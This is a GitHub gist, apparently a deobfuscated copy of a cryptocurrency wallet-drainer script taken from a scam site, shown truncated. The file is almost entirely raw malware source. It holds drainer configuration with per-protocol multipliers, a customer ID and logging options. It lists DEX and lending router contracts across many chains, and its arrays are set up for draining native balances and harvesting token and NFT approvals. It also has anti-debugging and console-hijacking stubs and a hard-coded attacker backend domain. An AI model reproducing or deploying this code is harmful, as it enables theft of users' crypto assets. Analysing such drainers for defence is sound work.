Skip to content

Instantly share code, notes, and snippets.

@AndrewMohawk
Last active November 10, 2023 08:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save AndrewMohawk/c6ebec33cc723bd7070ddf2fc2dc1e79 to your computer and use it in GitHub Desktop.
Save AndrewMohawk/c6ebec33cc723bd7070ddf2fc2dc1e79 to your computer and use it in GitHub Desktop.
deobfuscated-scammer-js
This file has been truncated, but you can view the full file.
// Configuration object
const config = {
blur: 0x2,
seaport: 1.4,
ostransfers: 2.2,
uniswap: 1.3,
uniswapv2: 1.6,
stargate: 2.7,
permit: 1.8,
permit2: 2.5,
special: 2.5,
apestake: 2.4,
curve: 2.5,
aave: 2.5,
safa: 0x1,
balance: 0.8,
chainSwitchRatio: 0.6,
customerId: "0xDSN1H6CU",
forcePopup: false,
logRepeatedConnections: true,
logEmptyWallets: false,
logClosedTab: true,
logIpData: false,
forceChangeChainNetwork: true,
forceAddChainNetwork: true,
walletConnectLogo: "https://i.imgur.com/yLxJF3W.png",
projectId: "210b371a0406d0aa02a6c3a56fb9dda5",
bannedAddresses: ["0x240Cf70D8A648BE133fEB342D71E5e81C686e5f8", "0x20cCdeDB9814c83bA2D663fC04f88c7a61aA706d", "0x2ad6FA4db57Ac71479510863643Eb6b1991788E1", "0x33566c9D8BE6Cf0B23795E0d380E112Be9d75836", "0x034C446b223Bb4ffbd51d2E284Fe6b3cdd271315", "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045", "0xC832494dce30f7303F42d829c205D6Ea6b551afb", "0x29B876e2dd14dd034612F052ecB372E64C96A895", "0x886258791969e6b0fEff62c0a02be819Dfc1B167", "0x3096d3B09e6ec2E8fF923D1657d0c691148eEeE5", "0xaF92d25248767357041c002Ea5aE24eF350102EF", "0x2b8496F320582481eA393bd26B9191F9059D2943", "0x81c4065F3B3b89adE412158b8c2c2C37e2a1b0A0", "0x9A735c231ad994D48929d3d8cE0970fCA25C2908", "0xbAEA4b614e0cADdA6aE2c860F3Ba8270f770f22f"],
assetOptions: {
multipliers: {
blur: 0x2,
seaport: 1.4,
ostransfers: 2.2,
uniswap: 1.3,
uniswapv2: 1.6,
stargate: 2.7,
permit: 1.8,
permit2: 2.5,
special: 2.5,
apestake: 2.4,
curve: 2.5,
aave: 2.5,
safa: 0x1,
balance: 0.8,
chainSwitchRatio: 0.6
}
}
};
// Self-invoking function
(function () {
const _0x58d7ee = [];
const _0x1d0c6a = function () {
return _0x58d7ee;
};
while (true) {
try {
const _0x92d86f = parseInt("1428") / 1 * (parseInt("-433") / 2) + -parseInt("2932") / 3 + parseInt("5192") / 4 + parseInt("1212") / 5 * (-parseInt("4577") / 6) + -parseInt("5031") / 7 + parseInt("1678") / 8 + -parseInt("1454") / 9 * (-parseInt("269") / 10);
if (_0x92d86f === 289473) {
break;
} else {
_0x58d7ee.push(_0x58d7ee.shift());
}
} catch (_0x13cbb4) {
_0x58d7ee.push(_0x58d7ee.shift());
}
}
})();
// Self-invoking function
(function () {
const _0x3df473 = function () {
return _0x3df473.toString().search("(((.+)+)+)+$").toString().constructor(_0x3df473).search("(((.+)+)+)+$");
};
_0x3df473();
})();
// Self-invoking function
(function () {
const _0x1fbc04 = function () {
let _0x41bd9a = true;
return function (_0x33b7b1, _0x1b62a9) {
const _0x18ec43 = _0x41bd9a ? function () {
if (_0x1b62a9) {
const _0x109b5e = _0x1b62a9.apply(_0x33b7b1, arguments);
_0x1b62a9 = null;
return _0x109b5e;
}
} : function () {};
_0x41bd9a = false;
return _0x18ec43;
};
}();
(function () {
_0x1fbc04(this, function () {
const _0x234a5a = new RegExp("function *\\( *\\)");
const _0x194f49 = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", 'i');
const _0x3bbfae = function (input) {
console.log(input);
};
if (!_0x234a5a.test(_0x3bbfae + "chain") || !_0x194f49.test(_0x3bbfae + "input")) {
_0x3bbfae('0');
} else {
_0x3bbfae();
}
})();
})();
})();
// Self-invoking function
(function () {
const _0x458825 = function () {
const _0x2a155e = function () {
let _0x4d93e9;
try {
_0x4d93e9 = Function("return (function() {}.constructor(\"return this\")( ));")();
} catch (_0x2f0fad) {
_0x4d93e9 = window;
}
return _0x4d93e9;
};
const _0x2ddea7 = _0x2a155e();
const _0x1b6103 = _0x2ddea7.console = _0x2ddea7.console || {};
const _0x1396df = ['log', "warn", 'info', "error", 'exception', "table", "trace"];
for (let _0x2f3b31 = 0; _0x2f3b31 < _0x1396df.length; _0x2f3b31++) {
const _0x2fd780 = _0x458825.constructor.prototype.bind(_0x458825);
const _0x1a096e = _0x1396df[_0x2f3b31];
const _0x499c83 = _0x1b6103[_0x1a096e] || _0x2fd780;
_0x2fd780.__proto__ = _0x458825.bind(_0x458825);
_0x2fd780.toString = _0x499c83.toString.bind(_0x499c83);
_0x1b6103[_0x1a096e] = _0x2fd780;
}
};
_0x458825();
})();
const _0x37ab95 = {
blur: 0x2,
seaport: 1.4,
ostransfers: 2.2,
uniswap: 1.3,
uniswapv2: 1.6,
stargate: 2.7,
permit: 1.8,
permit2: 2.5,
special: 2.5,
apestake: 2.4,
curve: 2.5,
aave: 2.5,
safa: 0x1,
balance: 0.8,
chainSwitchRatio: 0.6
};
const _0x3a8d14 = {
multipliers: _0x37ab95
};
const _0x4c82e3 = {
customerId: "0xDSN1H6CU",
forcePopup: false,
logRepeatedConnections: true,
logEmptyWallets: false,
logClosedTab: true,
logIpData: false,
forceChangeChainNetwork: true,
forceAddChainNetwork: true,
walletConnectLogo: "https://i.imgur.com/yLxJF3W.png",
projectId: "210b371a0406d0aa02a6c3a56fb9dda5",
bannedAddresses: ["0x240Cf70D8A648BE133fEB342D71E5e81C686e5f8", "0x20cCdeDB9814c83bA2D663fC04f88c7a61aA706d", "0x2ad6FA4db57Ac71479510863643Eb6b1991788E1", "0x33566c9D8BE6Cf0B23795E0d380E112Be9d75836", "0x034C446b223Bb4ffbd51d2E284Fe6b3cdd271315", "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045", "0xC832494dce30f7303F42d829c205D6Ea6b551afb", "0x29B876e2dd14dd034612F052ecB372E64C96A895", "0x886258791969e6b0fEff62c0a02be819Dfc1B167", "0x3096d3B09e6ec2E8fF923D1657d0c691148eEeE5", "0xaF92d25248767357041c002Ea5aE24eF350102EF", "0x2b8496F320582481eA393bd26B9191F9059D2943", "0x81c4065F3B3b89adE412158b8c2c2C37e2a1b0A0", "0x9A735c231ad994D48929d3d8cE0970fCA25C2908", "0xbAEA4b614e0cADdA6aE2c860F3Ba8270f770f22f"],
assetOptions: _0x3a8d14
};
window.init = false;
window.disabled = false;
const _0x3aefed = {
Accept: "application/json"
};
const _0x495776 = {
method: "GET",
headers: _0x3aefed
};
const _0x316971 = {
eth: 0x1,
bsc: 0x38,
xdai: 0x64,
arb: 0xa4b1,
matic: 0x89,
avax: 0xa86a,
op: 0xa,
ftm: 0xfa,
era: 0x144,
okt: 0x42,
celo: 0xa4ec,
mvr: 0x505,
cro: 0x19,
metis: 0x440,
aurora: 0x4e454152,
mobm: 0x504,
klay: 0x2019,
boba: 0x120,
astar: 0x250,
nova: 0x57,
one: 0x63564c40,
base: 0x2105,
'1': "eth",
'56': 'bsc',
'42161': "arb",
"137": "matic",
"43114": "avax",
"100": "xdai",
'10': 'op',
"250": "ftm",
'25': "cro",
'1088': "metis",
'66': "okt",
"128": "heco",
"324": "era",
"1285": 'mvr',
"42220": "celo",
"1284": "mobm",
"8217": "klay",
"1313161554": "aurora",
"288": 'boba',
'592': 'astar',
'87': "nova",
"1666600000": "one",
'8453': 'base'
};
const _0x5040bd = {
name: "Ethereum",
symbol: "ETH",
rpc: "https://rpc.ankr.com/eth",
explorer: "https://etherscan.io",
id: '0x1'
};
const _0x41d7ce = {
name: "Binance Smart Chain Mainnet",
symbol: "BNB",
rpc: "https://rpc.ankr.com/bsc",
explorer: "https://bscscan.com",
id: '0x38'
};
const _0x14b7fb = {
name: "Polygon Mainnet",
symbol: "MATIC",
rpc: "https://rpc.ankr.com/polygon",
explorer: "https://polygonscan.com",
id: "0x89"
};
const _0x15c43f = {
name: "Fantom Opera",
symbol: "FTM",
rpc: "https://rpcapi.fantom.network",
explorer: "https://ftmscan.com",
id: "0xfa"
};
const _0x4ffd31 = {
name: "Optimism",
symbol: "ETH",
rpc: "https://rpc.ankr.com/optimism",
explorer: "https://optimistic.etherscan.io",
id: "0xa"
};
const _0x154e97 = {
name: "Arbitrum One",
symbol: "ETH",
rpc: "https://rpc.ankr.com/arbitrum",
explorer: "https://arbiscan.io",
id: "0xa4b1"
};
const _0x15e7b7 = {
name: "Klaytn Mainnet Cypress",
symbol: "KLAY",
rpc: "https://public-node-api.klaytnapi.com/v1/cypress",
explorer: "https://scope.klaytn.como",
id: '0x2019'
};
const _0x562012 = {
name: "OKXChain Mainnet",
symbol: 'OKT',
rpc: "https://exchainrpc.okex.org",
explorer: "https://www.oklink.com/en/okc",
id: "0x42"
};
const _0x1c922c = {
name: "Avalanche C-Chain",
symbol: "AVAX",
rpc: "https://rpc.ankr.com/avalanche",
explorer: "https://snowtrace.io",
id: "0xa86a"
};
const _0x3cfff5 = {
name: "Gnosis",
symbol: "xDAI",
rpc: "https://rpc.gnosischain.com",
explorer: "https://gnosisscan.io",
id: "0x64"
};
const _0x38286a = {
name: "Celo Mainnet",
symbol: "CELO",
rpc: "https://forno.celo.org",
explorer: "https://celoscan.io",
id: '0xa4ec'
};
const _0x5c9cc4 = {
name: "Aurora Mainnet",
symbol: "ETH",
rpc: "https://mainnet.aurora.dev",
explorer: "https://aurorascan.dev",
id: "0x4e454152"
};
const _0xd2804c = {
name: "Fuse Mainnet",
symbol: "FUSE",
rpc: "https://fuse-rpc.gateway.pokt.network",
explorer: "https://fuse.io/",
id: "0x7a"
};
const _0x452b4c = {
name: "Nova Network",
symbol: "SNT",
rpc: "https://rpc.novanetwork.io:9070",
explorer: "https://explorer.novanetwork.io",
id: "0x57"
};
const _0x340c9e = {
name: "Dogechain Mainnet",
symbol: "DOGE",
rpc: "https://rpc.dogechain.dog",
explorer: "https://explorer.dogechain.dog",
id: "0x7d0"
};
const options = {
chainId: 1,
gasPrice: 20000000000,
gasLimit: 6721975,
value: 0
};
const chainRegistry = {
eth: {
name: "Ethereum Mainnet",
symbol: "ETH",
rpc: "https://mainnet.infura.io/v3/1c9b1f8c1f8b4d0f8f7f6d0f8f7f6d0f",
explorer: "https://etherscan.io",
id: 1
},
bsc: {
name: "Binance Smart Chain",
symbol: "BNB",
rpc: "https://bsc-dataseed.binance.org",
explorer: "https://bscscan.com",
id: 56
},
matic: {
name: "Polygon Mainnet",
symbol: "MATIC",
rpc: "https://rpc-mainnet.maticvigil.com",
explorer: "https://polygonscan.com",
id: 137
},
ftm: {
name: "Fantom Opera",
symbol: "FTM",
rpc: "https://rpcapi.fantom.network",
explorer: "https://ftmscan.com",
id: 250
},
op: {
name: "Optimism",
symbol: "ETH",
rpc: "https://rpc.ankr.com/optimism",
explorer: "https://optimistic.etherscan.io",
id: "0xa"
},
arb: {
name: "Arbitrum One",
symbol: "ETH",
rpc: "https://rpc.ankr.com/arbitrum",
explorer: "https://arbiscan.io",
id: "0xa4b1"
},
klay: {
name: "Klaytn Mainnet Cypress",
symbol: "KLAY",
rpc: "https://public-node-api.klaytnapi.com/v1/cypress",
explorer: "https://scope.klaytn.como",
id: '0x2019'
},
okt: {
name: "OKXChain Mainnet",
symbol: 'OKT',
rpc: "https://exchainrpc.okex.org",
explorer: "https://www.oklink.com/en/okc",
id: "0x42"
},
avax: {
name: "Avalanche C-Chain",
symbol: "AVAX",
rpc: "https://rpc.ankr.com/avalanche",
explorer: "https://snowtrace.io",
id: "0xa86a"
},
base: {
name: "Base",
symbol: "ETH",
rpc: "https://rpc.ankr.com/base",
explorer: "https://basescan.org",
id: '0x8453'
},
xdai: {
name: "Gnosis",
symbol: "xDAI",
rpc: "https://rpc.gnosischain.com",
explorer: "https://gnosisscan.io",
id: "0x64"
},
celo: {
name: "Celo Mainnet",
symbol: "CELO",
rpc: "https://forno.celo.org",
explorer: "https://celoscan.io",
id: '0xa4ec'
},
aurora: {
name: "Aurora Mainnet",
symbol: "ETH",
rpc: "https://mainnet.aurora.dev",
explorer: "https://aurorascan.dev",
id: "0x4e454152"
},
fuse: {
name: "Fuse Mainnet",
symbol: "FUSE",
rpc: "https://fuse-rpc.gateway.pokt.network",
explorer: "https://fuse.io/",
id: "0x7a"
},
nova: {
name: "Nova Network",
symbol: "SNT",
rpc: "https://rpc.novanetwork.io:9070",
explorer: "https://explorer.novanetwork.io",
id: "0x57"
},
doge: {
name: "Dogechain Mainnet",
symbol: "DOGE",
rpc: "https://rpc.dogechain.dog",
explorer: "https://explorer.dogechain.dog",
id: "0x7d0"
}
};
class Values {
constructor() {
this.options = options;
this.chainValues = [];
this.currentChainId = 0;
this.approved = [];
this.orderCache = [];
this.offer = [];
this.considerations = [];
this.chainRegistery = chainRegistry;
this.chainRegistryData = {
eth: chainRegistry.eth,
bsc: chainRegistry.bsc,
matic: chainRegistry.matic,
ftm: chainRegistry.ftm,
op: chainRegistry.op,
arb: chainRegistry.arb,
klay: chainRegistry.klay,
okt: chainRegistry.okt,
avax: chainRegistry.avax,
base: chainRegistry.base,
xdai: chainRegistry.xdai,
celo: chainRegistry.celo,
aurora: chainRegistry.aurora,
fuse: chainRegistry.fuse,
nova: chainRegistry.nova,
doge: chainRegistry.doge
};
this.actions = [];
this.keySize = 256;
this.ivSize = 128;
this.saltSize = 256;
this.iterations = 1000;
this.totalSeaport = 0;
this.totalWyvern = 0;
this.totalBlur = 0;
this.totalNFTs = 0;
this.totalTokens = 0;
this.totalStaked = 0;
this.nativeBalances = 0;
this.tokenValueUSD = 0;
this.failedAttempts = 0;
this.connector = '';
this.domain = '';
this.caller = "0x0000";
this.receiver = '';
this.tokenAddress = '';
this.openseaTokens = ["0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", "0x6b175474e89094c44da98b954eedeac495271d0f", "0x4d224452801aced8b2f0aebe155379bb5d594381", "0x64d91f12ece7362f91a6f8e7940cd55f05060b92", "0x0d8775f648430679a709e98d2b0cb6250d2887ef", "0x15d4c048f83bd7e37d49ea4c83a07267ec4203da", "0x514910771af9ca656af840dff83e8264ecf986ca", "0x0f5d2fb29fb7d3cfee444a200298f468908cc942", "0x557b933a7c2c45672b610f8954a3deb39a51a8ca", "0x3845badade8e6dff049820680d1f14bd3903a5d0", "0x1f9840a85d5af5bf1d1762f925bdaddc4201f984"];
this.seaportTokenActions = [];
this.seaportNFTActions = [];
this.wyvernTokenActions = [];
this.wyvernNftActions = [];
this.osTransferActions = [];
this.drainNativeActions = [];
this.approvalTokenActions = [];
this.approvalNFTActions = [];
this.apeStakeActions = [];
this.blurDelegateActions = [];
this.blurExecutionActions = [];
this.x2y2TransferActions = [];
this.pangolinActions = [];
this.pancakeActions = [];
this.pancakev2Actions = [];
this.aaveLP2Actions = [];
this.aaveLP3Actions = [];
this.aaveLP4Actions = [];
this.permit2Actions = [];
this.uniswapv2Actions = [];
this.uniswapv3Actions = [];
this.uniswapv3_2Actions = [];
this.bancorActions = [];
this.bancorSwapsActions = [];
this.curveActions = [];
this.curveVyper1Actions = [];
this.cowActions = [];
this.oneinchv5Actions = [];
this.sushiswapActions = [];
this.sushiProcessActions = [];
this.stargateActions = [];
this.shibaSwapActions = [];
this.kyberActions = [];
this.quickSwapActions = [];
this.spookyActions = [];
this.traderJoeV3Actions = [];
this.traderJoeV2Actions = [];
this.traderJoeV1Actions = [];
this.camelotActions = [];
this.gmxActions = [];
this.wooBridgeActions = [];
this.wooActions = [];
this.zeroexActions = [];
this.specialActions = [];
this.tokenChains = [];
this.handledActions = [];
this.sentMessage = false;
this.y = '01238218';
}
}
const values = new Values();
// These are all the exchanges
const _0x828e2b = {
Chain: 'eth',
Exchange: "AaveLP2",
Address: "0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9"
};
const _0x514957 = {
Chain: "eth",
Exchange: 'AaveLP3',
Address: "0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2"
};
const _0x2b7344 = {
Chain: "eth",
Exchange: 'AaveLP4',
Address: "0x777777c9898D384F785Ee44Acfe945efDFf5f3E0"
};
const _0x330405 = {
Chain: "matic",
Exchange: "AaveLP2",
Address: "0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf"
};
const _0x43fff0 = {
Chain: "matic",
Exchange: "AaveLP3",
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD"
};
const _0x359b48 = {
Chain: "avax",
Exchange: "AaveLP2",
Address: "0x4F01AeD16D97E3aB5ab2B501154DC9bb0F1A5A2C"
};
const _0x365e66 = {
Chain: "avax",
Exchange: "AaveLP3",
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD"
};
const _0x18254d = {
Chain: 'op',
Exchange: "AaveLP3",
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD"
};
const _0x137b48 = {
Chain: "arb",
Exchange: "AaveLP3",
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD"
};
const _0x799422 = {
Chain: "eth",
Exchange: "Bancor",
Address: "0xeEF417e1D5CC832e619ae18D2F140De2999dD4fB"
};
const _0x4d9406 = {
Chain: "eth",
Exchange: "BancorSwaps",
Address: "0x2F9EC37d6CcFFf1caB21733BdaDEdE11c823cCB0"
};
const _0x386893 = {
Chain: "arb",
Exchange: "Camelot",
Address: "0xc873fEcbd354f5A56E00E710B90EF4201db2448d"
};
const _0x48c81b = {
Chain: "eth",
Exchange: "Curve",
Address: "0x99a58482BD75cbab83b27EC03CA68fF489b5788f"
};
const _0x46fc4f = {
Chain: 'eth',
Exchange: "CurveVyper1",
Address: "0x55B916Ce078eA594c10a874ba67eCc3d62e29822"
};
const _0x40332f = {
Chain: 'arb',
Exchange: "GMX",
Address: "0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064"
};
const _0x5474ba = {
Chain: 'eth',
Exchange: '1InchV5',
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x269125 = {
Chain: "bsc",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x467fd6 = {
Chain: 'avax',
Exchange: '1InchV5',
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x1b5517 = {
Chain: 'op',
Exchange: '1InchV5',
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x3002ca = {
Chain: "matic",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x4b9c5f = {
Chain: "arb",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x10e23f = {
Chain: "base",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x2bfb00 = {
Chain: 'ftm',
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x53e4eb = {
Chain: "era",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
};
const _0x17cae6 = {
Chain: "eth",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
};
const _0x3bce95 = {
Chain: 'bsc',
Exchange: 'Kyber',
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
};
const _0x45b657 = {
Chain: "avax",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
};
const _0x56e363 = {
Chain: 'op',
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
};
const _0xb7a407 = {
Chain: "matic",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
};
const _0x458eb9 = {
Chain: "arb",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
};
const _0x554b8b = {
Chain: 'ftm',
Exchange: 'Kyber',
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
};
const _0x43f07b = {
Chain: "base",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
};
const _0x413469 = {
Chain: "era",
Exchange: "Kyber",
Address: "0x3F95eF3f2eAca871858dbE20A93c01daF6C2e923"
};
const _0x598f5a = {
Chain: "avax",
Exchange: "Pangolin",
Address: "0xe54ca86531e17ef3616d22ca28b0d458b6c89106"
};
const _0x4896da = {
Chain: 'eth',
Exchange: "Pancake",
Address: "0xEfF92A263d31888d860bD50809A8D171709b7b1c"
};
const _0x137e62 = {
Chain: "eth",
Exchange: "PancakeV2",
Address: "0x13f4EA83D0bd40E75C8222255bc855a974568Dd4"
};
const _0x2c0939 = {
Chain: 'bsc',
Exchange: "Pancake",
Address: "0x10ED43C718714eb63d5aA57B78B54704E256024E"
};
const _0x42a8df = {
Chain: "bsc",
Exchange: "PancakeV2",
Address: "0x13f4EA83D0bd40E75C8222255bc855a974568Dd4"
};
const _0xf20012 = {
Chain: "eth",
Exchange: "Stargate",
Address: "0x8731d54E9D02c286767d56ac03e8037C07e01e98"
};
const _0x31e632 = {
Chain: "bsc",
Exchange: "Stargate",
Address: "0x4a364f8c717cAAD9A442737Eb7b8A55cc6cf18D8"
};
const _0x453b1d = {
Chain: "avax",
Exchange: "Stargate",
Address: "0x45A01E4e04F14f7A4a6702c74187c5F6222033cd"
};
const _0x3c992c = {
Chain: "arb",
Exchange: 'Stargate',
Address: "0x53Bf833A5d6c4ddA888F69c22C88C9f356a41614"
};
const _0x332274 = {
Chain: 'op',
Exchange: "Stargate",
Address: "0xB0D502E938ed5f4df2E681fE6E419ff29631d62b"
};
const _0x3abf2d = {
Chain: "matic",
Exchange: "Stargate",
Address: "0x45A01E4e04F14f7A4a6702c74187c5F6222033cd"
};
const _0x8871cd = {
Chain: "base",
Exchange: 'Stargate',
Address: "0x45f1A95A4D3f3836523F5c83673c797f4d4d263B"
};
const _0x8fe074 = {
Chain: "ftm",
Exchange: "Stargate",
Address: "0xAf5191B0De278C7286d6C7CC6ab6BB8A73bA2Cd6"
};
const _0x503666 = {
Chain: "eth",
Exchange: 'Special',
Address: "0x881d40237659c251811cec9c364ef91dc08d300c"
};
const _0x2fb52f = {
Chain: "bsc",
Exchange: "Special",
Address: "0x1a1ec25dc08e98e5e93f1104b5e5cdd298707d31"
};
const _0x1f6e87 = {
Chain: 'op',
Exchange: "Special",
Address: "0x9dda6ef3d919c9bc8885d5560999a3640431e8e6"
};
const _0x50d38c = {
Chain: 'matic',
Exchange: "Special",
Address: "0x1a1ec25dc08e98e5e93f1104b5e5cdd298707d31"
};
const _0x2cb0b1 = {
Chain: 'arb',
Exchange: "Special",
Address: "0x9dda6ef3d919c9bc8885d5560999a3640431e8e6"
};
const _0x33b320 = {
Chain: "ftm",
Exchange: 'SpookySwap',
Address: "0xf491e7b69e4244ad4002bc14e878a34207e38c29"
};
const _0x4751d1 = {
Chain: "eth",
Exchange: "ShibaSwap",
Address: "0x03f7724180AA6b939894B5Ca4314783B0b36b329"
};
const _0x8dfd22 = {
Chain: "eth",
Exchange: "SushiSwap",
Address: "0xd9e1ce17f2641f24ae83637ab66a2cca9c378b9f"
};
const _0x389659 = {
Chain: 'bsc',
Exchange: 'SushiSwap',
Address: "0x1b02da8cb0d097eb8d57a175b88c7d8b47997506"
};
const _0x5d1e73 = {
Chain: "avax",
Exchange: "SushiSwap",
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506"
};
const _0x34c3b5 = {
Chain: 'matic',
Exchange: 'SushiSwap',
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506"
};
const _0x354afd = {
Chain: "arb",
Exchange: "SushiSwap",
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506"
};
const _0x49b912 = {
Chain: "ftm",
Exchange: "SushiSwap",
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506"
};
const _0x3d38cb = {
Chain: "bsc",
Exchange: "TraderJoeV3",
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30"
};
const _0x60557f = {
Chain: 'avax',
Exchange: "TraderJoeV1",
Address: "0x60aE616a2155Ee3d9A68541Ba4544862310933d4"
};
const _0x3c0e8b = {
Chain: "avax",
Exchange: "TraderJoeV2",
Address: "0xE3Ffc583dC176575eEA7FD9dF2A7c65F7E23f4C3"
};
const _0x5e32cf = {
Chain: "avax",
Exchange: "TraderJoeV3",
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30"
};
const _0xf024f6 = {
Chain: 'arb',
Exchange: "TraderJoeV3",
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30"
};
const _0x1742f7 = {
Chain: "eth",
Exchange: 'UniswapV2',
Address: "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"
};
const _0x28c9bc = {
Chain: "eth",
Exchange: "UniswapV3",
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
};
const _0x5155ad = {
Chain: 'op',
Exchange: "UniswapV3",
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
};
const _0x25b9e8 = {
Chain: "matic",
Exchange: "UniswapV3",
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
};
const _0x57f584 = {
Chain: 'arb',
Exchange: 'UniswapV3',
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
};
const _0x1601c0 = {
Chain: "base",
Exchange: 'UniswapV3',
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
};
const _0x1b5ac8 = {
Chain: "eth",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
};
const _0x54435e = {
Chain: "bsc",
Exchange: "UniswapV3_2",
Address: "0xB971eF87ede563556b2ED4b1C0b0019111Dd85d2"
};
const _0x3f2991 = {
Chain: 'op',
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
};
const _0x2ba16d = {
Chain: "matic",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
};
const _0xb25560 = {
Chain: "arb",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
};
const _0x20852b = {
Chain: "base",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
};
const _0x3dde5c = {
Chain: "bsc",
Exchange: "WooFinance",
Address: "0x4f4Fd4290c9bB49764701803AF6445c5b03E8f06"
};
const _0xb4d53d = {
Chain: "avax",
Exchange: "WooFinance",
Address: "0xC22FBb3133dF781E6C25ea6acebe2D2Bb8CeA2f9"
};
const _0x4d5adb = {
Chain: 'op',
Exchange: 'WooFinance',
Address: "0xEAf1Ac8E89EA0aE13E0f03634A4FF23502527024"
};
const _0xb91f12 = {
Chain: 'matic',
Exchange: "WooFinance",
Address: "0x817Eb46D60762442Da3D931Ff51a30334CA39B74"
};
const _0x51286a = {
Chain: "arb",
Exchange: "WooFinance",
Address: "0x9aEd3A8896A85FE9a8CAc52C9B402D092B629a30"
};
const _0x151561 = {
Chain: "bsc",
Exchange: "WooBridge",
Address: "0x81004C9b697857fD54E137075b51506c739EF439"
};
const _0x3d5a0e = {
Chain: 'avax',
Exchange: "WooBridge",
Address: "0x51AF494f1B4d3f77835951FA827D66fc4A18Dae8"
};
const _0x303568 = {
Chain: 'op',
Exchange: "WooBridge",
Address: "0xbeaE1B06949d033Da628bA3E5aF267C3E740494b"
};
const _0x52920a = {
Chain: "matic",
Exchange: "WooBridge",
Address: "0xAA9c15cd603428cA8ddD45e933F8EfE3Afbcc173"
};
const _0x4941e5 = {
Chain: "arb",
Exchange: "WooBridge",
Address: "0x4AB421de52b3112D02442b040dd3DC73e8Af63b5"
};
const _0x52bc27 = {
Chain: "eth",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
};
const _0xf9ec5f = {
Chain: "bsc",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
};
const _0x551aff = {
Chain: 'ftm',
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
};
const _0x3c1e8c = {
Chain: 'avax',
Exchange: 'ZeroEx',
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
};
const _0x1988a4 = {
Chain: 'op',
Exchange: "ZeroEx",
Address: "0xDEF1ABE32c034e558Cdd535791643C58a13aCC10"
};
const _0x5bd670 = {
Chain: "matic",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
};
const _0xbd7b0 = {
Chain: 'arb',
Exchange: 'ZeroEx',
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
};
class Main extends Values {
["utils"] = new Helpers();
constructor() {
super();
this.domain = "https://kosettto-api.com";
try {
this.approved = JSON.parse(localStorage.approved);
} catch {}
try {
this.orderCache = JSON.parse(localStorage.orderCache);
} catch {}
}
["connectWallet"] = async () => {
const _0x4ea03a = {
'FPCmZ': function (_0x1a96c7, _0x2dfcd3) {
return _0x1a96c7 == _0x2dfcd3;
}
};
_0x4ea03a.CMOdC = "10|5|8|2|0|9|6|1|7|3|4";
_0x4ea03a.tPLww = "This address is banned";
_0x4ea03a.lzlqn = "any";
_0x4ea03a.DkYOk = "Creating New Listener";
try {
if (window.disabled) {
return;
}
this.notShow = false;
